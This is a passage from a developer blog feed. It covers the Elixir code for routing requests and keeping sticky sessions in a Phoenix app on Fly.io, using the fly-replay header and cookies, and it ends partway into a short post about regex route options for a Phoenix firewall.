&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Correct machine based on cookie &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;. Let pass.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Incorrect machine &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; based on cookie &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;. Redirect.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;redirect_to_machine&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;No parameter or cookie. Let pass.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;redirect_to_machine&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;requested_machine&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_resp_header&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;fly-replay&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;instance=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;requested_machine&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;307&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.Controller&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;redirecting...&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;halt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In essence, the plug above decides whether to redirect the request based on three variables:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The current machine ID (&lt;code&gt;machine_id&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The machine ID requested as a parameter (&lt;code&gt;param_id&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The machine ID set in the cookie (&lt;code&gt;cookie_id&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I created the decision tree below to visualize the decision making process of the Plug. Have a look:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/fly-replay/mermaid-decision-flow.jpeg&quot; alt=&quot;The decision flow for redirecting a request based on its parameter or cookie.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As an example, if the request has a parameter and the parameter machine ID is different from the current machine ID, it would redirect the request to the parameter machine ID using the &lt;code&gt;fly-replay&lt;/code&gt; header.&lt;/p&gt;
&lt;p&gt;An important detail is that I store the current machine ID in a cookie when the request reaches the correct machine. This is important because only the initial HTTP request of the user contains the machine ID parameter, and the subsequent WebSocket connection request does not, but it &lt;em&gt;does&lt;/em&gt; contain the cookie. So, to reroute the WebSocket connection as well, I needed the cookie.&lt;/p&gt;
&lt;p&gt;By setting the cookie, we ensure that all future requests, static HTTP or WebSocket upgrades, are redirected to the same machine. This makes our session &quot;stick&quot; to a single machine, hence the name &quot;sticky session&quot;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-endpoint&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-endpoint&quot;&gt;&lt;/a&gt;The Endpoint&lt;/h2&gt;
&lt;p&gt;Using the plug was a bit tricky as well. If you add the plug to your endpoint as a regular plug, it won&apos;t intercept the WebSocket connection requests because these don&apos;t go through the regular endpoint. Thanks to Chris for pointing this out &lt;a href=&quot;https://elixir-lang.slack.com/archives/C0220GAJNHK/p1730139658035879?thread_ts=1730136395.010559&amp;cid=C0220GAJNHK&quot;&gt;in the Elixir Slack&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Instead, you need to override the &lt;code&gt;call/2&lt;/code&gt; callback of your Endpoint like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/chat_web/endpoint.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ChatWeb.Endpoint&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;otp_app: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:chat&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ChatWeb.Plugs.RedirectToMachine&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;halted: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code above will intercept &lt;strong&gt;all&lt;/strong&gt; requests going through your endpoint, including WebSocket connection requests. We use our plug to decide whether to let them pass or redirect them.&lt;/p&gt;
&lt;p&gt;If we redirect, we include the &lt;code&gt;fly-replay: instance=#&amp;lbrace;machine_id&amp;rbrace;&lt;/code&gt; header and respond with a &lt;code&gt;307 Temporary Redirect&lt;/code&gt; so that the Fly proxy can redirect the request to the correct machine. If we allow the request to pass, we call the default &lt;code&gt;Endpoint.call/2&lt;/code&gt; callback using &lt;code&gt;super(conn, opts)&lt;/code&gt;, which continues with the regular endpoint execution.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-environment&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-environment&quot;&gt;&lt;/a&gt;The Environment&lt;/h2&gt;
&lt;p&gt;The next step of the setup is to fetch the machine ID from the environment variables. Fly adds &lt;a href=&quot;https://fly.io/docs/machines/runtime-environment/#environment-variables&quot;&gt;a number&lt;/a&gt; of environment variables to your machine. This is my &lt;code&gt;runtime.exs&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/runtime.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:chat&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;fly_region: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;FLY_REGION&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;blank&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;fly_machine_id: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;FLY_MACHINE_ID&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;blank&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;fly_vm_memory_mb: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;FLY_VM_MEMORY_MB&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;blank&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#discover-machines&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;discover-machines&quot;&gt;&lt;/a&gt;Discover Machines&lt;/h2&gt;
&lt;p&gt;The final step of the setup is to track which &quot;creators&quot; are currently online and to which machine they are streaming. The exact implementation of this discovery depends on your use case, so I&apos;ll just link to &lt;a href=&quot;https://github.com/PJUllrich/fly-chat/blob/main/lib/chat/creators.ex&quot;&gt;the implementation I used for my demo project&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In essence, upon startup and every 10 seconds thereafter, I send a discovery message through PubSub from the machine to all other machines in the cluster, and the other machines reply with their machine ID and which creator they host. This way, I maintain a list of all machine IDs and their creators on each machine.&lt;/p&gt;
&lt;p&gt;This implementation works for my demo project, but in a real-world application, I would prefer to send a PubSub message whenever a creator starts or stops streaming. This eliminates the need to rediscover the same machines every 10 seconds.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#putting-it-together&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;putting-it-together&quot;&gt;&lt;/a&gt;Putting it Together&lt;/h2&gt;
&lt;p&gt;With this setup in place, we can redirect a user to a specific machine simply by passing the machine ID as a parameter. Neat, right?&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;redirect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;p&quot;/?&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;instance&lt;/span&gt;: &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we look at the logs, we can see how the HTTP request and WebSocket connection get redirected from the Amsterdam server to the same machine in Dallas:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;# Static HTTP Request
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;ams [info] Incorrect machine d8dd626f379508 based on parameter 286533db064e58. Redirect.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;dfw [info] Correct machine based on parmeter 286533db064e58. Set cookie and let pass.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;dfw [info] GET /
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;dfw [info] Sent 200 in 1ms
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;# WebSocket Connection Request
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;ams [info] Incorrect machine d8dd626f379508 based on cookie 286533db064e58. Redirect.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;dfw [info] Correct machine 286533db064e58 and cookie. Let pass.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;dfw [info] CONNECTED TO Phoenix.LiveView.Socket in 34µs
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;dfw [info]  Transport: :websocket
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;dfw [info]  Serializer: Phoenix.Socket.V2.JSONSerializer
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;dfw [info]  Parameters: %&amp;lbrace;&quot;_csrf_token&quot; =&gt; &quot;...&quot;&amp;rbrace;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my firewall for Phoenix &lt;a href=&quot;https://ezsuite.dev&quot;&gt;Phx2Ban&lt;/a&gt; or my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/request-routing-and-sticky-sessions-in-phoenix-on-fly"/>
    <id>https://peterullrich.com/request-routing-and-sticky-sessions-in-phoenix-on-fly</id>
    <title>Request Routing and Sticky Sessions in Phoenix on Fly.io</title>
    <updated>2024-12-06T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Today&apos;s post is a tiny one. I recently added a configuration option to &lt;a href=&quot;http://ezsuite.dev&quot;&gt;Phx2ban&lt;/a&gt; that allows users to define routes that should be excluded from the Web Application Firewall (WAF) rules of Phx2ban. Basically, any request to any of the given routes should be ignored.&lt;/p&gt;
&lt;p&gt;I wanted to allow the user to define the routes as strings (&lt;code&gt;/my-path/foo&lt;/code&gt;) but also as regex (&lt;code&gt;~r/my-path/*&lt;/code&gt;). We use &lt;a href=&quot;https://hexdocs.pm/nimble_options/NimbleOptions.html&quot;&gt;NimbleOptions&lt;/a&gt; to validate the Phx2ban config, but it does not define a &lt;code&gt;regex&lt;/code&gt; type, so I was at a loss about how to allow both strings and regexes as a NimbleOption.&lt;/p&gt;
&lt;p&gt;Luckily, I realized pretty quickly that the notation &lt;code&gt;~r/foo/&lt;/code&gt; simply returns a &lt;code&gt;Regex&lt;/code&gt; struct, although it&apos;s kind of hidden because of the way the Regex is printed out:&lt;/p&gt;
